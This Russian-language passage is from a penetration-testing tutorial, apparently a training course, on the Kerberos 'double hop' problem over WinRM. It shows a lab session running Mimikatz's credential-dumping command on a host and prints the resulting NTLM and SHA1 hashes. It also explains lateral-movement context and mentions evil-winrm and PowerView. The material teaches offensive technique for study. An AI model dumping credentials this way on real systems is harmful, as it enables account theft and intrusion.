Существует известная проблема, называемая "Двойным Переходом", которая возникает, когда атакующий пытается использовать аутентификацию Kerberos через два (или более) перехода. Проблема касается способа выдачи билетов Kerberos для конкретных ресурсов. Билеты Kerberos не следует рассматривать как пароли. Это подписанные данные от Центра Распределения Ключей (KDC), которые указывают, к каким ресурсам имеет доступ учетная запись. Когда мы выполняем аутентификацию Kerberos, мы получаем "билет", который позволяет нам получить доступ к запрошенному ресурсу (т.е., к одной машине). В отличие от этого, когда мы используем пароль для аутентификации, хэш NTLM сохраняется в нашей сессии и может использоваться где-либо без проблем.
Проблема "Двойного Перехода" часто возникает при использовании WinRM/Powershell, поскольку механизм аутентификации по умолчанию предоставляет билет только для доступа к конкретному ресурсу. Это, скорее всего, вызовет проблемы при попытке выполнить боковое перемещение или даже доступ к файловым шарам из удаленной оболочки. В этой ситуации учетная запись пользователя имеет права на выполнение действия, но доступ запрещен. Наиболее распространенным способом получения оболочек является использование учетных данных и инструмента, такого как PSExec. В обоих этих сценариях первичная аутентификация, скорее всего, выполнялась через SMB или LDAP, что означает, что хэш NTLM пользователя будет сохранен в памяти. Иногда у нас есть набор учетных данных и мы ограничены конкретным методом аутентификации, таким как WinRM, или предпочитаем использовать WinRM по ряду причин.
Суть проблемы заключается в том, что при использовании WinRM для аутентификации через два или более соединений пароль пользователя никогда не кэшируется в рамках их входа в систему. Если мы используем Mimikatz для просмотра сессии, мы увидим, что все учетные данные пусты. Как было сказано ранее, когда мы используем Kerberos для установления удаленной сессии, мы не используем пароль для аутентификации. Когда используется аутентификация по паролю, например, с PSExec, хэш NTLM сохраняется в сессии, так что когда мы идем для доступа к другому ресурсу, машина может извлечь хэш из памяти и аутентифицировать нас.
Давайте кратко рассмотрим. Если мы аутентифицируемся на удаленном хосте через WinRM, а затем запускаем Mimikatz, мы не видим учетных данных пользователя backupadm в памяти.
PS C:\\htb> PS C:\\Users\\ben.INLANEFREIGHT> Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\\backupadm
[DEV01]: PS C:\\Users\\backupadm\\Documents> cd 'C:\\Users\\Public\\'
[DEV01]: PS C:\\Users\\Public> .\\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
.#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \\ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] ) ## \\ / ## > <http://blog.gentilkiwi.com/mimikatz> '## v ##' Vincent LE TOUX ( [email protected] )
'#####' > <http://pingcastle.com> / <http://mysmartlogon.com> ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswordsAuthentication Id : 0 ; 45177 (00000000:0000b079)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 6/28/2022 3:33:32 PM
SID : S-1-5-96-0-1
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : fb ec 60 8b 93 99 ee 24 a1 dd bf fa a8 da fd 61 cc 14 5c 30 ea 6a e9 f4 bb bc ca 1f be a7 9e ce 8b 79 d8 cb 4d 65 d3 42 e7 a1 98 ad 8e 43 3e b5 77 80 40 c4 ce 61 27 90 37 dc d8 62 e1 77 7a 48 2d b2 d8 9f 4b b8 7a be e8 a4 20 3b 1e 32 67 a6 21 4a b8 e3 ac 01 00 d2 c3 68 37 fd ad e3 09 d7 f1 15 0d 52 ce fb 6d 15 8d b3 c8 c1 a3 c1 82 54 11 f9 5f 21 94 bb cb f7 cc 29 ba 3c c9 5d 5d 41 50 89 ea 79 38 f3 f2 3f 64 49 8a b0 83 b4 33 1b 59 67 9e b2 d1 d3 76 99 3c ae 5c 7c b7 1f 0d d5 fb cc f9 e2 67 33 06 fe 08 b5 16 c6 a5 c0 26 e0 30 af 37 28 5e 3b 0e 72 b8 88 7f 92 09 2e c4 2a 10 e5 0d f4 85 e7 53 5f 9c 43 13 90 61 62 97 72 bf bf 81 36 c0 6f 0f 4e 48 38 b8 c4 ca f8 ac e0 73 1c 2d 18 ee ed 8f 55 4d 73 33 a4 fa 32 94 a9
ssp :
credman :
Authentication Id : 0 ; 1284107 (00000000:0013980b)
Session : Interactive from 1
User Name : srvadmin
Domain : INLANEFREIGHT
Logon Server : DC01
Logon Time : 6/28/2022 3:46:05 PM
SID : S-1-5-21-1666128402-2659679066-1433032234-1107
msv :
[00000003] Primary
* Username : srvadmin
* Domain : INLANEFREIGHT
* NTLM : cf3a5525ee9414229e66279623ed5c58
* SHA1 : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2
* DPAPI : 64fa83034ef8a3a9b52c1861ac390bce
tspkg :
wdigest :
* Username : srvadmin
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : srvadmin
* Domain : INLANEFREIGHT.LOCAL
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 70669 (00000000:0001140d)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 6/28/2022 3:33:33 PM
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : fb ec 60 8b 93 99 ee 24 a1 dd bf fa a8 da fd 61 cc 14 5c 30 ea 6a e9 f4 bb bc ca 1f be a7 9e ce 8b 79 d8 cb 4d 65 d3 42 e7 a1 98 ad 8e 43 3e b5 77 80 40 c4 ce 61 27 90 37 dc d8 62 e1 77 7a 48 2d b2 d8 9f 4b b8 7a be e8 a4 20 3b 1e 32 67 a6 21 4a b8 e3 ac 01 00 d2 c3 68 37 fd ad e3 09 d7 f1 15 0d 52 ce fb 6d 15 8d b3 c8 c1 a3 c1 82 54 11 f9 5f 21 94 bb cb f7 cc 29 ba 3c c9 5d 5d 41 50 89 ea 79 38 f3 f2 3f 64 49 8a b0 83 b4 33 1b 59 67 9e b2 d1 d3 76 99 3c ae 5c 7c b7 1f 0d d5 fb cc f9 e2 67 33 06 fe 08 b5 16 c6 a5 c0 26 e0 30 af 37 28 5e 3b 0e 72 b8 88 7f 92 09 2e c4 2a 10 e5 0d f4 85 e7 53 5f 9c 43 13 90 61 62 97 72 bf bf 81 36 c0 6f 0f 4e 48 38 b8 c4 ca f8 ac e0 73 1c 2d 18 ee ed 8f 55 4d 73 33 a4 fa 32 94 a9
ssp :
credman :
Authentication Id : 0 ; 45178 (00000000:0000b07a)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 6/28/2022 3:33:32 PM
SID : S-1-5-96-0-0
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : fb ec 60 8b 93 99 ee 24 a1 dd bf fa a8 da fd 61 cc 14 5c 30 ea 6a e9 f4 bb bc ca 1f be a7 9e ce 8b 79 d8 cb 4d 65 d3 42 e7 a1 98 ad 8e 43 3e b5 77 80 40 c4 ce 61 27 90 37 dc d8 62 e1 77 7a 48 2d b2 d8 9f 4b b8 7a be e8 a4 20 3b 1e 32 67 a6 21 4a b8 e3 ac 01 00 d2 c3 68 37 fd ad e3 09 d7 f1 15 0d 52 ce fb 6d 15 8d b3 c8 c1 a3 c1 82 54 11 f9 5f 21 94 bb cb f7 cc 29 ba 3c c9 5d 5d 41 50 89 ea 79 38 f3 f2 3f 64 49 8a b0 83 b4 33 1b 59 67 9e b2 d1 d3 76 99 3c ae 5c 7c b7 1f 0d d5 fb cc f9 e2 67 33 06 fe 08 b5 16 c6 a5 c0 26 e0 30 af 37 28 5e 3b 0e 72 b8 88 7f 92 09 2e c4 2a 10 e5 0d f4 85 e7 53 5f 9c 43 13 90 61 62 97 72 bf bf 81 36 c0 6f 0f 4e 48 38 b8 c4 ca f8 ac e0 73 1c 2d 18 ee ed 8f 55 4d 73 33 a4 fa 32 94 a9
ssp :
credman :
Authentication Id : 0 ; 44190 (00000000:0000ac9e)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 6/28/2022 3:33:32 PM
SID :
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : DEV01$
Domain : INLANEFREIGHT
Logon Server : (null)
Logon Time : 6/28/2022 3:33:32 PM
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 1284140 (00000000:0013982c)
Session : Interactive from 1
User Name : srvadmin
Domain : INLANEFREIGHT
Logon Server : DC01
Logon Time : 6/28/2022 3:46:05 PM
SID : S-1-5-21-1666128402-2659679066-1433032234-1107
msv :
[00000003] Primary
* Username : srvadmin
* Domain : INLANEFREIGHT
* NTLM : cf3a5525ee9414229e66279623ed5c58
* SHA1 : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2
* DPAPI : 64fa83034ef8a3a9b52c1861ac390bce
tspkg :
wdigest :
* Username : srvadmin
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : srvadmin
* Domain : INLANEFREIGHT.LOCAL
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 70647 (00000000:000113f7)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 6/28/2022 3:33:33 PM
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : fb ec 60 8b 93 99 ee 24 a1 dd bf fa a8 da fd 61 cc 14 5c 30 ea 6a e9 f4 bb bc ca 1f be a7 9e ce 8b 79 d8 cb 4d 65 d3 42 e7 a1 98 ad 8e 43 3e b5 77 80 40 c4 ce 61 27 90 37 dc d8 62 e1 77 7a 48 2d b2 d8 9f 4b b8 7a be e8 a4 20 3b 1e 32 67 a6 21 4a b8 e3 ac 01 00 d2 c3 68 37 fd ad e3 09 d7 f1 15 0d 52 ce fb 6d 15 8d b3 c8 c1 a3 c1 82 54 11 f9 5f 21 94 bb cb f7 cc 29 ba 3c c9 5d 5d 41 50 89 ea 79 38 f3 f2 3f 64 49 8a b0 83 b4 33 1b 59 67 9e b2 d1 d3 76 99 3c ae 5c 7c b7 1f 0d d5 fb cc f9 e2 67 33 06 fe 08 b5 16 c6 a5 c0 26 e0 30 af 37 28 5e 3b 0e 72 b8 88 7f 92 09 2e c4 2a 10 e5 0d f4 85 e7 53 5f 9c 43 13 90 61 62 97 72 bf bf 81 36 c0 6f 0f 4e 48 38 b8 c4 ca f8 ac e0 73 1c 2d 18 ee ed 8f 55 4d 73 33 a4 fa 32 94 a9
ssp :
Authentication Id : 0 ; 996 (00000000:000003e4)
User Name : DEV01$
Domain : INLANEFREIGHT
Logon Server : (null)
Logon Time : 6/28/2022 3:33:32 PM
SID : S-1-5-20
msv :
[00000003] Primary
* Username : DEV01$
* Domain : INLANEFREIGHT
* NTLM : ef6a3c65945643fbd1c3cf7639278b33
* SHA1 : a2cfa43b1d8224fc44cc629d4dc167372f81543f
tspkg :
wdigest :
* Username : DEV01$
* Domain : INLANEFREIGHT
* Password : (null)
kerberos :
* Username : DEV01$
* Domain : INLANEFREIGHT.LOCAL
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 6/28/2022 3:33:33 PM
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
mimikatz(commandline) # exitBye!
Действительно, существуют процессы, работающие от имени пользователя backupadm, такие как wsmprovhost.exe, который является процессом, запускаемым при создании сессии Windows Remote PowerShell.
[DEV01]: PS C:\\Users\\Public> tasklist /V |findstr backupadm
wsmprovhost.exe 1844 Services 0 85,212 K Unknown INLANEFREIGHT\\backupadm
0:00:03 N/A
tasklist.exe 6532 Services 0 7,988 K Unknown INLANEFREIGHT\\backupadm
0:00:00 N/A
conhost.exe 7048 Services 0 12,656 K Unknown INLANEFREIGHT\\backupadm
0:00:00 N/A
В самом простом случае, в этой ситуации, когда мы пытаемся выполнить команду для нескольких серверов, наши учетные данные не будут переданы с первой машины на вторую.
Допустим, у нас есть три хоста: Атакующий хост --> DEV01 --> DC01. Наш атакующий хост - это машина Parrot в корпоративной сети, не входящая в домен. Мы получаем набор учетных данных для доменного пользователя и обнаруживаем, что они входят в группу "Пользователи удаленного управления" на DEV01. Мы хотим использовать PowerView для перечисления домена, что требует связи с контроллером домена DC01.
Когда мы подключаемся к DEV01 с использованием инструмента, такого как evil-winrm, мы подключаемся с сетевой аутентификацией, поэтому наши учетные данные не сохраняются в памяти и, следовательно, не будут присутствовать в системе для аутентификации к другим ресурсам от имени нашего пользователя. Когда мы загружаем инструмент, такой как PowerView, и пытаемся запросить Active Directory, Kerberos не может сообщить DC, что наш пользователь может получить доступ к ресурсам в домене. Это происходит потому, что билет Kerberos TGT (Ticket Granting Ticket) пользователя не отправляется в удаленную сессию; следовательно, пользователь не имеет способа доказать свою идентичность, и команды больше не будут выполняться в контексте этого пользователя. Другими словами, при аутентификации на целевом хосте билет на получение услуг (TGS) пользователя отправляется на удаленную службу, что позволяет выполнять команды, но билет TGT пользователя не отправляется. Когда пользователь пытается получить доступ к последующим ресурсам в домене, его TGT не будет присутствовать в запросе, поэтому удаленная служба не сможет подтвердить, что попытка аутентификации действительна, и нам будет отказано в доступе к удаленной службе.
Если на сервере включено неограниченное делегирование, скорее всего, мы не столкнемся с проблемой "Двойного перехода". В этом сценарии, когда пользователь отправляет свой билет TGS для доступа к целевому серверу, его билет TGT будет отправлен вместе с запросом. Целевой сервер теперь имеет в памяти билет TGT пользователя и может использовать его для запроса билета TGS от его имени на следующем хосте, к которому они пытаются получить доступ. Другими словами, кэшируется билет TGS учетной записи, который имеет возможность подписывать TGT и предоставлять удаленный доступ. В общем, если вы попали на коробку с неконтролируемым делегированием.
Несколько обходных путей для решения проблемы двойного перехода описаны в этом посте. Мы можем использовать "вложенный" Invoke-Command
для отправки учетных данных (после создания объекта PSCredential) с каждым запросом, поэтому, если мы попытаемся пройти аутентификацию с нашего узла атаки на узел A и запустить команды на узле B, нам это будет разрешено. Мы рассмотрим два метода: первый - это тот, который мы можем использовать, если мы работаем с evil-winrm
сеансом, а второй - если у нас есть графический доступ к хосту Windows (либо к хосту атаки в сети, либо к хосту, подключенному к домену, который мы скомпрометировали).